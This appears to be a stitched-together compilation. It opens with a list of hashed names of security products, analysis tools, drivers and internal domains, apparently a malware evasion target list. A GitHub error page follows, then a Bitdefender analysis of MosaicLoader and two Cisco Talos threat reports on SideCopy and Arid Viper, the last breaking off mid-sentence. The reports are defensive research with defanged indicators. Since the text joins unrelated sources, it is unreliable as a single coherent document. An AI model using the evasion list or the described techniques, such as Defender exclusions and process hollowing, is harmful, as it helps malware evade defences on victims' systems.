13876356431472225791 = rundotnetdll - 14968320160131875803 = sbiesvc - 14868920869169964081 = scdbg - 106672141413120087 = scylla_x64 - 79089792725215063 = scylla_x86 - 5614586596107908838 = shellcode_launcher - 3869935012404164040 = solarwindsdiagnostics - 3538022140597504361 = sysmon64 - 14111374107076822891 = sysmon64 - 7982848972385914508 = task explorer - 8760312338504300643 = task explorer-x64 - 17351543633914244545 = tcpdump - 7516148236133302073 = tcpvcon - 15114163911481793350 = tcpview - 15457732070353984570 = vboxservice - 16292685861617888592 = win32_remote - 10374841591685794123 = win64_remotex64 - 3045986759481489935 = windbg - 17109238199226571972 = windump - 6827032273910657891 = winhex64 - 5945487981219695001 = winhex - 8052533790968282297 = winobj - 17574002783607647274 = wireshark - 3341747963119755850 = x32dbg - 14193859431895170587 = x64dbg - 17439059603042731363 = xwforensics64 - 17683972236092287897 = xwforensics - 700598796416086955 = redcloak - 3660705254426876796 = avgsvc - 12709986806548166638 = avgui - 3890794756780010537 = avgsvca - 2797129108883749491 = avgidsagent - 3890769468012566366 = avgsvcx - 14095938998438966337 = avgwdsvcx - 11109294216876344399 = avgadminclientservice - 1368907909245890092 = afwserv - 11818825521849580123 = avastui - 8146185202538899243 = avastsvc - 2934149816356927366 = aswidsagent - 13029357933491444455 = aswidsagenta - 6195833633417633900 = aswengsrv - 2760663353550280147 = avastavwrapper - 16423314183614230717 = bccavsvc - 2532538262737333146 = psanhost - 4454255944391929578 = psuaservice - 6088115528707848728 = psuamain - 13611051401579634621 = avp - 18147627057830191163 = avpui - 17633734304611248415 = ksde - 13581776705111912829 = ksdeui - 7175363135479931834 = tanium - 3178468437029279937 = taniumclient - 13599785766252827703 = taniumdetectengine - 6180361713414290679 = taniumendpointindex - 8612208440357175863 = taniumtracecli - 8408095252303317471 = taniumtracewebsocketclient64 **Services:** - **Windows Defender:** - 5183687599225757871 = msmpeng - 917638920165491138 = windefend - **Windows Sense:** - 10063651499895178962 = mssense - 16335643316870329598 = sense - **Windows Sensor:** - 10501212300031893463 = microsoft.tri.sensor - 155978580751494388 = microsoft.tri.sensor.updater - **NIST:** - 17204844226884380288 = cavp - **Carbon Black:** - 5984963105389676759 = cb - 11385275378891906608 = carbonblack - 13693525876560827283 = carbonblackk - 17849680105131524334 = cbcomms - 18246404330670877335 = cbstream - **CrowdStrike:** - 8698326794961817906 = csfalconservice - 9061219083560670602 = csfalconcontainer - 11771945869106552231 = csagent - 9234894663364701749 = csdevicecontrol - **FireEye:** - 15695338751700748390 = xagt - 640589622539783622 = xagtnotif - 9384605490088500348 = fe_avk - 6274014997237900919 = fekern - 15092207615430402812 = feelam - 3320767229281015341 = fewscservice - **ESET:** - 3200333496547938354 = ekrn - 14513577387099045298 = eguiproxy - 607197993339007484 = egui - 15587050164583443069 = eamonm - 9559632696372799208 = eelam - 4931721628717906635 = ehdrv - 2589926981877829912 = ekrnepfw - 17997967489723066537 = epfwwfp - 14079676299181301772 = ekbdflt - 17939405613729073960 = epfw - **F-SECURE:** - 521157249538507889 = fsgk32st - 14971809093655817917 = fswebuid - 10545868833523019926 = fsgk32 - 15039834196857999838 = fsma32 - 14055243717250701608 = fssm32 - 5587557070429522647 = fnrb32 - 12445177985737237804 = fsaua - 17978774977754553159 = fsorsp - 17017923349298346219 = fsav32 - 17624147599670377042 = f-secure gatekeeper handler starter - 16066651430762394116 = f-secure network request broker - 13655261125244647696 = f-secure webui daemon - 3421213182954201407 = fsma - 14243671177281069512 = fsorspclient - 16112751343173365533 = f-secure gatekeeper - 3425260965299690882 = f-secure hips - 9333057603143916814 = fsbts - 3413886037471417852 = fsni - 7315838824213522000 = fsvista - 13783346438774742614 = f-secure filter - 2380224015317016190 = f-secure recognizer - 3413052607651207697 = fses - 3407972863931386250 = fsfw - 10393903804869831898 = fsdfw - 3421197789791424393 = fsms - 541172992193764396 = fsdevcon **Drivers:** - 17097380490166623672 = cybkerneltracker.sys - 15194901817027173566 = atrsdfw.sys - 12718416789200275332 = eaw.sys - 18392881921099771407 = rvsavd.sys - 3626142665768487764 = dgdmk.sys - 12343334044036541897 = sentinelmonitor.sys - 397780960855462669 = hexisfsmonitor.sys - 6943102301517884811 = groundling32.sys - 13544031715334011032 = groundling64.sys - 11801746708619571308 = safe-agent.sys - 18159703063075866524 = crexecprev.sys - 835151375515278827 = psepfilter.sys - 16570804352575357627 = cve.sys - 1614465773938842903 = brfilter.sys - 12679195163651834776 = brcow_x_x_x_x.sys - 2717025511528702475 = lragentmf.sys **Domain Names:** - 1109067043404435916 = swdev.local - 15267980678929160412 = swdev.dmz - 8381292265993977266 = lab.local - 3796405623695665524 = lab.na - 8727477769544302060 = emea.sales - 10734127004244879770 = cork.lab - 11073283311104541690 = dev.local - 4030236413975199654 = dmz.local - 7701683279824397773 = pci.local - 5132256620104998637 = saas.swi - 5942282052525294911 = lab.rio - 4578480846255629462 = lab.brno - 16858955978146406642 = apac.lab **HTTP:** - 8873858923435176895 = expect - 6116246686670134098 = content-type - 2734787258623754862 = accept - 6116246686670134098 = content-type - 7574774749059321801 = user-agent - 1475579823244607677 = 100-continue - 11266044540366291518 = connection - 9007106680104765185 = referer - 13852439084267373191 = keep-alive - 14226582801651130532 = close - 15514036435533858158 = if-modified-since - 16066522799090129502 = date
# Qakbot Decoder Name already in use. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch? 1 contributor Users who have contributed to this file. Sorry, something went wrong. Reload? Sorry, we cannot display this file. Sorry, this file is invalid so it cannot be displayed.
# WHITEPAPER ## Security Debugging MosaicLoader, One Step at a Time ### Summary Bitdefender researchers have noticed a new malware strain spiking in our telemetry. What caught our attention were processes that add local exclusions in Windows Defender for specific file names (prun.exe, appsetup.exe, etc.), that all reside in the same folder, called \PublicGaming\. Further investigation revealed that this malware is a downloader that can deliver any payload to the infected system. We named it MosaicLoader because of the intricate internal structure that aims to confuse malware analysts and prevent reverse-engineering. MosaicLoader is seemingly delivered through paid ads in search results designed to lure users looking for cracked software to infect their devices. Once planted on the system, the malware creates a complex chain of processes and tries to download a variety of threats, from simple cookie stealers to cryptocurrency miners or more complex ones, such as the Glupteba Backdoor. Researchers at Fortinet noticed similar processes that used the same C2 as MosaicLoader investigated by us. In that case, attackers asked them to remove detection on the file net-helper.exe. The trick used by the malicious actors was to create seemingly legitimate executable files including manifest information such as company name and description that was related to the file’s name. The attackers stuck to this approach with the newer droppers, mimicking executable files that belong to legitimate software. While the execution flow of the malware is somewhat similar to Warzone RAT, the C2 servers and the delivered payloads do not seem related to the actors behind Warzone. In this article, we will show the execution flow of MosaicLoader along with some techniques employed by attackers, including: - Mimicking file information that is similar to legitimate software - Code obfuscation with small chunks and shuffled execution order - Payload delivery mechanism infecting the victim with several malware strains ### Technical analysis #### Initial access Bitdefender has identified the initial droppers originating from archives that pretend to contain cracked software installers. We observed archive names like mirc-7-64-keygen-plus-crack-fully-version-free-download, officefix-professional-6-122-crack-full-version-latest-2021, setup-starter_v2.3.1, etc. This pattern confirms that malicious actors purchase ad slots in search engine results to boost their links as top results when people search for cracked software. When users start processes with names in the word cloud of installers (install, setup, etc.), the infection chain starts in the background, without the user’s awareness and with no visible windows. #### Execution flow The execution flow of the malware is linear, spawning a few process layers until the final payloads get to run. **Downloader** Most of the initial downloaders we analyzed have icon and Version Info similar to legitimate applications. For example, in the screenshot below, we can see that dropper.exe (renamed by us) mimics an NVIDIA process. The dropper also has a revoked digital signature unrelated to NVIDIA, indicating that it was either cryptographically insecure or abused by malware. Around half of the droppers we analyzed seemed to be Delphi executables, but Delphi disassemblers do not recognize them as valid files. Around their entry point, they contained native C/C++ code, structured similarly to the other half of the samples analyzed. The samples share a common trait: they have one or two additional executable sections, named with a combination of random English words concatenated to 8 characters (the maximum limit in the PE format). In this section, the entropy is very high, similar to packed data. However, the content is not packed; it contains code, and it is the result of the mosaic-like obfuscation, which we discuss later in this article. The dropper downloads update-assets.zip from the C2 server (checkblanco[.]xyz in our run) into the %TEMP% folder. The .zip file contains the two files required for the second stage, appsetup.exe, and prun.exe. Then, the dropper extracts these files to C:\Program Files (x86)\PublicGaming\ and launches several instances of Powershell to add exclusions from Windows Defender for the folder and the specific file names. **Second Stage - appsetup.exe** The filename for this process is always appsetup.exe in case of an infection. The objective of this process is to attain persistence on the system. First, it adds a new registry value to HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Prun that will point to the other component of the second stage, C:\Program Files (x86)\PublicGaming\prun.exe. Then, it registers appsetup.exe as a service called pubgame-updater to run periodically, ensuring that even if the persistence registry key gets cleaned up, it adds it again. Finally, it launches prun.exe, which will complete the delivery part of the second stage. **Second Stage - prun.exe** We can observe the same characteristics for prun.exe as for the downloader. We have an additional section with EXECUTE permissions, and it seems to be a big blob of packed data. This is a recurring pattern, so we decided to reverse-engineer the file. Around the entry point, there is a function call that transfers the execution from the main code section to the additional one. As we mentioned before, in this section we find heavily obfuscated code. Its Shannon entropy is high, similar to packed or encrypted buffers. IDA disassembler considers it an array of DWORDs with no meaningful data. However, when we jump to the address referenced by the code, we start to observe several obfuscation and anti-reverse techniques. The most prevalent technique is the presence of jumps that break the code into small chunks. Some of these jumps are conditional, but the code above them makes sure the conditions are always satisfied. The second technique that stands out is the use of mathematical operations with large numbers to obtain values required by the program. This technique makes code hard to follow while reverse-engineering, and it makes the section seem to contain only data (opcodes being 1-2 bytes followed by large numbers of 4 bytes). Between the code chunks are random filler bytes too. These bytes help maintain the impression that the section contains data. The code flow jumps over these parts and only executes the small, meaningful chunks. The three techniques mentioned above let the malware mix up the order of the chunks. This way, it creates a mosaic-like structure where the code of the functions is not contiguous and pieces of different functionalities are intertwined. In the example below, the four chunks of code that follow each other represent different functions. The red arrow points to a function dispatcher, where the malware completed the parameters for a GetProcAddress call to obtain VirtualAlloc, the green one points to some filler operations, the blue one points to a leave section of an SEH handler, and the yellow one points to a trampoline that jumps to a different address. Even if we untangle the jumps, we can’t obtain individual functions, as in some cases, the malware omits the use of call instructions, jumping directly to the desired address. The code made up of small intertwined pieces inspired us to call this malware MosaicLoader. After we identified the main obfuscation methods the malware uses, we decided to debug it, as static analysis would yield no helpful results. By doing that, we noticed that the malware also employs some classic anti-debugging tricks. For example, it keeps the CPU (and the reverse-engineer) busy without accessing any other resources on the system repeatedly throughout its execution. It stores a random number on the stack, performs lots of filler operations by which it does not change the execution flow, and decreases the value until the zero flag sets to 1. Next, the malware prepares an address in the EBX register depending on the state of the Zero Flag. If the operation did not set the Zero Flag to 1, then EBX will refer to the start of the loop, and if the value on the stack got to 0, the address will point to the next piece of code. Finally, it jumps to the address in EBX. Another anti-debugging trick that might discourage some reverse-engineers is spamming lots of exceptions that trap the execution to the debugger. The malware does the action repeatedly by iterating over the whole image in 0x10000 increments, accessing these memory locations. For pages that are not accessible, reading them will result in an access violation, which pauses execution in the debugger. If we check the SEH chain, we find the malware added an exception handling routine, which skips the access violation and continues the execution. There is no other reason for the malware to iterate through the image several times as it searches for loaded modules differently. Next, the process iterates the Loaded Module List from the PEB to find kernel32.dll loaded in memory. Then it uses the obtained handle to find the GetProcAddress function. With the resulting address, the malware can resolve its dependencies. The malware allocates a new memory zone, then uses RtlDecompressBuffer to obtain a piece of executable code and moves the execution there. The first action in this code is to relocate some well-defined addresses by calculating the relative position to the current EIP in variables stored on the stack. Then, it calls RtlDecompressBuffer again for another packed buffer to obtain a new MZPE in memory. The final step in this process is to transfer execution to this decompressed MZPE. The malware uses the Process Hollowing technique to inject the code into a newly created process. The difference between the classic hollowing and the malware’s approach is that the process is not in a suspended state after creation. First, the malware calls CreateProcess on its path, seemingly launching itself unsuspended. Then it calls NtSuspendThread on the only thread of the new process that is still in the phase of decrementing the large number and did not execute anything significant. It then overwrites the image of the suspended process with the decompressed MZPE. Finally, it uses SetThreadContext to set the instruction pointer to the entry point and resumes the thread. Decompressing an MZPE and hollowing a process that seems to be a self-launch is a technique also used by Warzone RAT. However, Warzone RAT has a specific communication protocol and C2 domains different from what this malware uses. ### Command and Control In the binary, we can identify specific strings that characterize this malware family. We found the URL of the C2 server hardcoded as a string. In our analyzed sample, the domain was t1[.]cloudshielding[.]xyz, which resolves to 195.181.169.92. If we search for previous DNS resolutions, we see the attackers use the same IP in the campaign but with various domain names. In our analysis, we noticed samples connecting to the same IP with domains like c1[.]checkblanco[.]xyz, s1[.]chunkserving[.]com, m1[.]uptime66[.]com, 5a014483-ff8f-467e-a260-28565368d9be[.]certbooster[.]com, 0129e158-aa17-4900-99a6-30f4a49bd0a4[.]nordlt[.]com, etc. Researchers at Fortinet noticed the same IP in their research too. Besides the IP, another specific feature of the malware is that it adds “prun” to the User-Agent field of every GET request. When the server is up and running, it accepts GET requests only with the specific User-Agent and responds with a command and its parameters in an application/json stream. Their communication protocol contains only two commands: “download” and “command”. The first command, as its name suggests, saves the delivered payload to the disk. The destination of the file is the root of the %TMP% folder. The second command executes a specific payload by calling ShellExecuteW on it. The process runs in an infinite loop, periodically sending requests to the C2 server and receiving commands. We managed to capture some payloads delivered in this phase. All of them are malware sprayers written in .NET. We will discuss their capabilities in the following section. ### Malware sprayer The danger of this payload is that it can deliver any malware on the system. The sprayer’s objective is to download a list of malware from the infection sources controlled by the attackers and to execute them. The response from integral[.]hacking101[.]net contains a list of URLs that host malware. Some have obscure domain names, specifically registered for hosting malware, while others are legitimate Discord URLs with files uploaded to a public channel. | Hash | File Name | Observations | |------|-----------|--------------| | bb716a5d50965860f206a33e36d9da1f | app.exe | Glupteba, a highly evasive backdoor | | 1375e48217af7c4163b9a2217fc24c6e | askinstall39.exe | Facebook cookie stealer, accesses login cookies from browsers to steal them | | 6c1c7791e34c671a8e825d0be36cb327 | cpu-only.exe | XMRig, cryptocurrency miner | | 6d7603e4fd4d633cae7eaee0f1029a17 | customer2.exe | Facebook cookie stealer | | 07f79b595254bd60ccec7561e858de35 | ebook.exe | Icecream ebook reader installer, bundled with other PUA | | 5f779714f8fd23f8fb05d77d443654c7 | file3.exe | Glupteba | | ae4cdb7ae62dc3767a89f001fdc007e3 | file4.exe | Powershell Dropper, runs a powershell script that obtains persistence on the system and runs downloaded payloads | | aed57d50123897b0012c35ef5dec4184 | jooyu.exe | CookieStealer, searches for any login-related cookies in browser data | | 9ea1aec6d8637acf9f85cc082a42a3b5 | KiffApp2.exe | Presenoker adware | | 8acd95006ac6d1eabf37683d7ce31052 | liguifang.exe | AsyncRAT, communicates with gamegame[.]info, has keylogging capabilities | | b749832e5d6ebfc73a61cde48a1b890b | setup.exe | Facebook cookie stealer | | 0e5031e35b67b14892cb05b35fd734aa | Setup2.exe | an installer that bundles together some of the files from this table (liguifang, file4, customer2) | | 90e50b8feebbf1c998de62de795aa4b1 | SX.x.exe | Glupteba | | 99484984e25a738b6a09a59b50abe93c | v2.exe | XMRig, cryptocurrency miner | ### Impact Systems infected with this malware become part of the network of machines that attackers can further infect with any piece of malware they want. During our analysis, we observed that the payloads delivered by the second stage are malware sprayers that download and run many other malicious files. These pieces of malware vary from small cookie stealers to cryptocurrency miners and even more advanced threats like Glupteba. #### Privacy impact Due to MosaicLoader’s capabilities, user privacy may be severely affected. The malware sprayer can deliver Facebook cookie stealers on the system that might exfiltrate login data, resulting in complete account takeovers, posts that can harm the reputation of businesses or persons, or posts that spread malware. Other significantly dangerous malware delivered through MosaicLoader are the Remote Access Trojans. They can log keypresses on the system, record audio from the microphone and images from the webcam, capture screenshots, etc. With this private information, attackers can take over accounts, steal digital identities and attempt to blackmail victims. ### Campaign distribution The campaign has no specific target countries or organizations. It just delivers the payloads to victims who search for cracked software. However, due to the nature of the infection source, we expect most of the infected systems to be personal computers. ### Conclusion The attackers behind MosaicLoader created a piece of malware that can deliver any payload on the system, making it potentially profitable as a delivery service. The malware arrives on target systems by posing as cracked installers. It downloads a malware sprayer that obtains a list of URLs from the C2 server and downloads the payloads from the received links. We described a unique obfuscation technique that shuffles small code chunks resulting in a mosaic-like structure. ### Recommendations The best way to defend against MosaicLoader is to avoid downloading cracked software from any source. Besides being against the law, cybercriminals look to target and exploit users searching for illegal software. We recommend always checking the source domain of every download to make sure that the files are legitimate and to keep your antimalware and other security solutions up to date. ### MITRE techniques breakdown | Execution | Persistence | Defense Evasion | Collection | Command and Control | Exfiltration | Impact | |-----------|-------------|------------------|------------|---------------------|---------------|--------| | Malicious File | Registry Run | Masquerading | Application | Layer Protocol | Over C2 | Defacement | | Boot or Logon | Autostart | Invalid Code | Audio Capture | Web Protocols | Channel | | | Create or Modify | Process | Injection | Clipboard Data | | Resource Hijacking | | | System | Windows Service | Deobfuscate/Decode Files | Data from Local System | | Input Capture: Keylogging | | | | | | Man in the Browser | | Screen Capture | | | | | | Video Capture | | | | ### Indicators of compromise **Hashes** - Downloaders: - 3786ebdb146a3355652cb90206f3f442 - d724066d7c19b29b2bdb7468a9027f1b - cd8dcbbf2270ec08b28dc2b823a5a786 - 953ebbee1cc0fe28595ef92277ee1824 - a0686d8651b078faa60f75295f75d191 - d9ecaa2b2ac1902805ca96b7f6803028 - 5c7623b207bf5756a641d05016f57350 - 62828deec03544193a8b7af50b587c64 - fdc3c72f4249d05c7847009e4c0962bf - 51ef12de306029e18ad25802b0acfbb2 - ec1a7ad5bc45ff82ac8552b9b4de2d0d - dd2d93e538f05295700a371976b057c9 - f3481078c22a26ecd6ab9f653e6be075 - Appsetup: - 09ca3264faa0092b6704bf77e72fa5df - 311c75d397af909bce6d9a16ecf5c9c1 - 91f545054d5188d0a61e9aa39f38f02d - 72bd252201771166ec7522d0534025dd - d7a8d70022085464f05888ef6575d8ec - 3ba57f17d5fee19a15f53af88ab0618b - bda968ba8dc4a7351f1af40549e87713 - b7b3f0dc58a78e8ddde9f333055300dd - fe5d1d2a2a9a4b61d237546d5896599e - dd7e36c1c180d7ff9784c91406da9870 - 90070741e9c025f841f47f0c3adee3d2 - 0d37fd785dd8c7a73fe51a5e929595e0 - cd6e4a9e65bd9e1e3aae77400161ead0 - 2f54301cc4692a737bb89d18b2021ae3 - 74f40695d6e8b7554652a2ccab0e24e4 - 59d21e15f6bcd56a2ecc2ffb59074a44 - c2595f372f0c55e3add27b1987ab7273 - Prun: - bb31f608469d58ccd816033dc5740942 - 3a7cdc4c47ce4b3a5eaa7ecc868bf0b8 - f08910c2927c583531dd1da85d3644b4 - a282da0cf8b4a35a1fec2a5751682acf - eb23ded8126b43ea056ff579aa69ea52 - eb437902ca11790f80408c93b9a9f527 - 307cf83afc07a789f7b8976bb9fbb607 - acee4b6c36cbd612ea8c1ac8654e4ce8 - 482f23f6deaaa4917c2102d22a3cf367 - 78859832e79c6d7aedad2de7612b375c - 731a8703f88bfa1c429c721b90383357 - 7ff49f11c6ba05bdb5d1d5435a94cf8b - fb3be97affe515876a7e636c22ffa36f - 9dbde9e241e5916801d1f40f08559b5c - d4b5cbd0982a44206dbfe98a31eded10 - b8917c4a68a16044b242d6349a0b9966 - 982bfe7514223c1d65be764422d1cf19 - ec55c594ad719296c3778165d15a6e03 - a238e40e91da8ff1c1c4a9f3a59c52a2 - cf10cca7751df8dd1cd8afda5b92efcb - ac8dc817e5d387eac8894e6956e64f99 **All SHA256 hashes that communicate with the C2** - d404b52bc985b8c81fb35e4ccd9263c0dce6b2e4b854fff460960a31eb7b704a - c707c20f7aaa36991e80b2cbcb6596a7822bc53cac51c1639c991532e2adbbb9 - d2c76eeb42e2d88f2b95ee800eea3b009a2838f933867a885651d562138a0079 - 7b3d5985d238ea05b76ff24b955e265f6690468672c2319d5282f7b849ad9bd1 - 9701e33035e6ee7da6b13d6b0813e32e3dd5c20707f1e4d704d141ece0eb4e26 - 8cb94a70fb4329f4f8cb854a886ebcf52a465351c5256bba16f2d74d829c3bd3 - 216d2c1d1b22d66be21b3467b7a4cc18d5212d4b3f8f037178d60f84f1e8faea - d6d2e00343a3cad48cc2f4799ce87d27acc3ce154aed286c07f226de2e9c4035 - 5338dd62d371b4c3be644277ce8173fc5f937b1bfe1f3d18a1ba155d178a2553 - 7dadbf66d4d7282dca222e3202bdb7cb72f0bed90641b05c4b76b29b10c1b787 - 4dd231dee730a33d8b59d1440764efd47ffe70fe07a19b0446ee3589b8216eca - 7b311cda021f0c2904b4508d4cdcf6ef2eff41493f3263775093f562b909d3d9 - 45d09af6a166e0b919a5a925762a6a249b5b58c229fda35ca9556dff1d29963d - 9b7c114aa6597d9b328cb129bcefa1eaff3c5082f9fc0c96e9a26940ad26abac - fa1a9c95c20903113055cc679560c18ceb1f6b81dd306a1d3c66095ad1381570 - 269191362c407df28b23e56b6a68758cb112f9bb7582e064e7f7e5a41367c710 - 1a1473655a8c5bd91dd85a303d458cae759a73b50dbc635a0f3da25dfbd17297 - 4252a4e802a8a8bfd28a322b85617f353f1869e01ae00b6debecdd3029751607 - 3972964451f6ab578536be3837fb3cf8f00d4d9d9567e1dfbdeecd27a755cce7 - 33d567935836d852b792425e393b3677525e3bc3027302603da32fc4e4ca1dbd - bbf804fd72bcd5d09582d6a0fe14ece55ff9bec983b45ecc52642d710ec4f3ff - ac5229ca94f4703977b678807d3b67fd393766c300374552f649e794218a40a5 - 0833448e4013e76308aee80d26d8875bf55c392c776051f52625ad08291d6503 - a7bf876bdc63dd748b386d788b9755396257accfb4cf74c27e90b37d0eeb4cb2 - 04ac7bc5f4217af37877cca112e85d4202349988ff7321203b40ecb4989fea07 - 41d1addb382678e81ab59cb80613f2c2ee746b2615233674cc8c323a9a0eff4c - 78ce66dd13fbe5078390f4911a48503ff168469602226d3f856e5cd0249c6683 - 40bd27cb63a00e9a7fe2bcb6369df475420b848249a0b20c295859127a119f8f - c0661abf447af1f8086c0e41e885388ecc64f82c2e2a9f408e86a66fbf26e0a5 **URLs** - t1[.]cloudshielding[.]xyz - c1[.]checkblanco[.]xyz - s1[.]chunkserving[.]com - m1[.]uptime66[.]com - 5a014483-ff8f-467e-a260-28565368d9be[.]certbooster[.]com - 0129e158-aa17-4900-99a6-30f4a49bd0a4[.]nordlt[.]com - integral[.]hacking101[.]net **IP Address** - 195.181.169.92
# InSideCopy: How this APT continues to evolve its arsenal By Asheer Malhotra and Justin Thattil. Cisco Talos is tracking an increase in SideCopy's activities targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe). SideCopy is an APT group that mimics the Sidewinder APT's infection chains to deliver its own set of malware. We've discovered multiple infection chains delivering bespoke and commodity remote access trojans (RATs) such as CetaRAT, Allakore, and njRAT. Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage of four new custom RAT families and two other commodity RATs known as "Lilith" and "Epicenter." Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file enumerators to credential-stealers and keyloggers. ## What's new? Cisco Talos has observed an expansion in the activity of SideCopy malware campaigns targeting entities in India. In the past, the attackers have used malicious LNK files and documents to distribute their staple C#-based RAT, which we are calling "CetaRAT." SideCopy also relies heavily on the use of Allakore RAT, a publicly available Delphi-based RAT. Recent activity from the group, however, signals a boost in their development operations. Talos has discovered multiple new RAT families and plugins currently used in SideCopy infection chains. Targeting tactics and themes observed in SideCopy campaigns indicate a high degree of similarity to the Transparent Tribe APT (aka APT36) also targeting India. These include using decoys posing as operational documents belonging to the military and think tanks and honeytrap-based infections. ## How did it work? SideCopy's infection chains have remained relatively consistent with minor variations—using malicious LNK files as entry points, followed by a convoluted infection chain involving multiple HTAs and loader DLLs to deliver the final payloads. Talos also discovered the usage of other new RATs and plugins. These include DetaRAT, ReverseRAT, MargulasRAT, and ActionRAT. We've also discovered the use of commodity RATs such as njRAT, Lilith, and Epicenter by this group since as early as 2019. Successful infection of a victim results in the installation of independent plugins to serve specific purposes such as file enumeration, browser password stealing, and keylogging. ## So what? These campaigns provide insights into the adversary's operations: - Their preliminary infection chains involve delivering their staple RATs. - Successful infection of a victim leads to the introduction of a variety of modular plugins. - The development of new RATs is an indication that this group of attackers is rapidly evolving its malware arsenal and post-infection tools since 2019. - The group's current infrastructure setup indicates a special interest in victims in Pakistan and India. ## Analyses and IOCs - Win.Dropper.njRAT-9876129-0 - Win.Downloader.FList-9875630-0 - Win.Downloader.FileSearcher-9875631-0 - Win.Downloader.UPirate-9875632-0 - Win.Trojan.Johnnie-9875495-0 - Win.Trojan.Zapchast-9875496-0 - Win.Trojan.Zapchast-9875497-0 - Win.Keylogger.Xeytan-9875498-0 - Win.Keylogger.Lagger-9875499-0 - Win.Trojan.DetaRAT-9875325-0 - Win.Trojan.EpicenterRAT-9875326-0 - Win.Trojan.ReverseRAT-9875329-0 - Win.Trojan.Meterpreter-9875304-0 - Win.Trojan.Lilith-9875305-0 - Win.Trojan.PasswordStealer-9875308-0 - Win.Trojan.Chromer-9875310-0 - Win.Trojan.AllakoreRAT-9875300-0 - Win.Trojan.AllakoreRAT-9875301-0 - Win.Trojan.ActionRAT-9874905-0 - Win.Trojan.AllaKoreRAT-9874917-0 - Win.Malware.Generic-9874177-0 - Win.Packed.Trojanx-9874176-0
# Arid Viper APT Targets Palestine with New Wave of Politically Themed Phishing Attacks By Asheer Malhotra and Vitor Ventura Cisco Talos has observed a new wave of Delphi malware called Micropsia developed and operated by the Arid Viper APT group since 2017. This campaign targets Palestinian entities and activists using politically themed lures. The latest iteration of the implant contains multiple RAT and information gathering capabilities. ## Executive Summary Cisco Talos has identified a new wave of what is believed to be an ongoing campaign using the Delphi malware since 2017. Talos believes with high confidence that this is the work of the Arid Viper threat actor, a group believed to be based out of Gaza that's known to target organizations all over the world. The actor uses the Micropsia implant in the most recent wave that started around October 2021. This actor uses their Delphi-based Micropsia implant to target Palestinian individuals and organizations, using politically themed file names and decoy documents. The most recent wave uses content originally published on the Turkish state-run news agency Anadolu and on the Palestinian MA'AN development center to target activists and Palestinian institutions. The tactics, techniques, and procedures (TTPs) used in the most recent samples found by Talos lead us to believe this is a campaign linked to the previous campaign reported on in 2017. Meta exposed this actor in an April 2021 report that focused mainly on mobile targeting operations. However, that did not stop the group, as they've continued to target Windows-based systems. Although this group hasn't technologically evolved, it has the motivation and means to operate longstanding campaigns against the same targets. This level of motivation makes them particularly dangerous to organizations that may come into their crosshairs. An in-depth defense using protections against the several layers of their infection chain is the best strategy to defend against this kind of threat. This should include email security to detect and prevent their most common initial attack vector, along with Cisco Secure Endpoint if the implant is successfully delivered using novel attack vectors. On the network side, Cisco Secure Firewall and Umbrella can be used to detect command and control (C2) communications performed with new versions and variants of their implants. ## Arid Viper Threat Actor Arid Viper, also known as Desert Falcon or APT C-23, was first exposed in 2015. This threat actor's main motivation is espionage and information theft and has been attributed to malicious operators politically motivated towards the liberation of Palestine. Its victimology is dispersed all over the world, including Palestinian organizations and individuals. Arid Viper is not a technically evolved actor; however, it is known to target mobile and desktop platforms, including Apple iOS. Their toolkit consists of Delphi packers and compilers around their staple malware, Micropsia. This implant has also been ported to other platforms with versions based on Python and an Android version. ## Campaign Talos has identified new waves of this campaign against Palestinian individuals and organizations. It uses the same TTPs that were published in the first report on this actor back in 2017. The use of politically themed lures reduced during 2018 and 2019, but we observed a definite increase in their usage in 2020 and 2021. Talos also observed other themes being used by this group (to deliver Micropsia) during 2018 and 2019 and into 2020/21, but they were not considered as part of this campaign in analysis and are beyond the scope of this research. ## Most Recent Decoys The politically motivated content in the decoy documents, along with the use of the Arabic language, point to the victims being Palestinian individuals and organizations. The most recent decoy document from September 2021 contains an article about the reunification of Palestinian families, originally published by the Anadolu Agency on Sept. 3, 2021. Another decoy, also from September 2021, consists of an article on social and economically sustainable development in Palestine by the MA'AN development center — a Palestinian development and training institution aimed at community development. Another decoy from July 2021 consisted of a patient's report containing affidavits from the State of Palestine's Ministry of Health. During March and February 2021, we observed the use of politically themed decoys. One of these decoys consisted of a list of questions from a Palestinian activist on the Presidential decree issued on Feb. 20, 2021, ordering the respect of freedom of expression ahead of legislative elections in May. ## Deployment During this investigation, Talos could not find any email or social media posts that were somehow linked to the Micropsia implants. However, we found the implants and compressed files containing the implants. This follows the same pattern that was described in the 2017 post about this actor. It is highly likely that the threat actor has continued to use the email vector to deliver their lures and implants. ## Implant Analysis The implant used to target Palestinian entities consists of Delphi-based versions of Micropsia. This implant consists of a Delphi form with four buttons and four timers implemented to carry out different malicious activities. All the malicious functionalities are implemented through the timers configured in the implant. ### Deploying the Decoy Document One of these timers is responsible for extracting the decoy document and saving it to the %TEMP% folder and then displaying it via ShellExecute. If the implant is started with the "-start" command-line switch, it will skip the process for dropping and displaying the decoy document and jump straight to its RAT functionalities. ### Establishing Persistence Another timer is used to establish persistence for the implant on the endpoint. Here, the implant will establish persistence by obtaining its current command line, which is then used to create a shortcut for itself in the %TEMP% directory. The shortcut to run the implant contains the "-start" switch (used to skip the displaying of the decoy document). This shortcut is then moved over to the currently logged-in user's Startup folder to complete persistence across reboots and re-logins. ### Information Gathering The remaining two timers will gather preliminary system information and activate the RAT capabilities of the implant. The sequence of actions followed for gathering system information from the endpoint are as follows: 1. Generate a pc ID for the infected endpoint. Save this value into a data file, such as: "%APPDATA%\dsfjj45k.tmp" 2. Gather the Computername and username from ENV. Concatenate the computername, username, and pcid into format: `<COMPNAME>_<username>_<pcid>` 3. Gather installed AV information from the endpoint via "winmgmts:\\localhost\root\SecurityCenter2" using query "SELECT * FROM AntiVirusProduct". From the AV information obtained, record the DisplayName. 4. Get OS information specifically the installed product name. 5. Get the current implant's command line and record it. All this data gathered from the system is individually base64-encoded and assigned to HTTP form query variables with the following name-value pairs: - vcqmxylcv= base64 encoded `<COMPNAME>_<username>_<pcid>` - vcnwaapcv= base64 encoded AV Name list. - vcllgracv= base64 encoded OS version string. - vcwjlxycv= base64 encoded implant command line. - vccodwfcv= base64 encoded hardcoded flag. The data is then sent to the implant's C2 server via an HTTP POST request, which is fairly standard in Micropsia implants. ### RAT Capabilities Once the 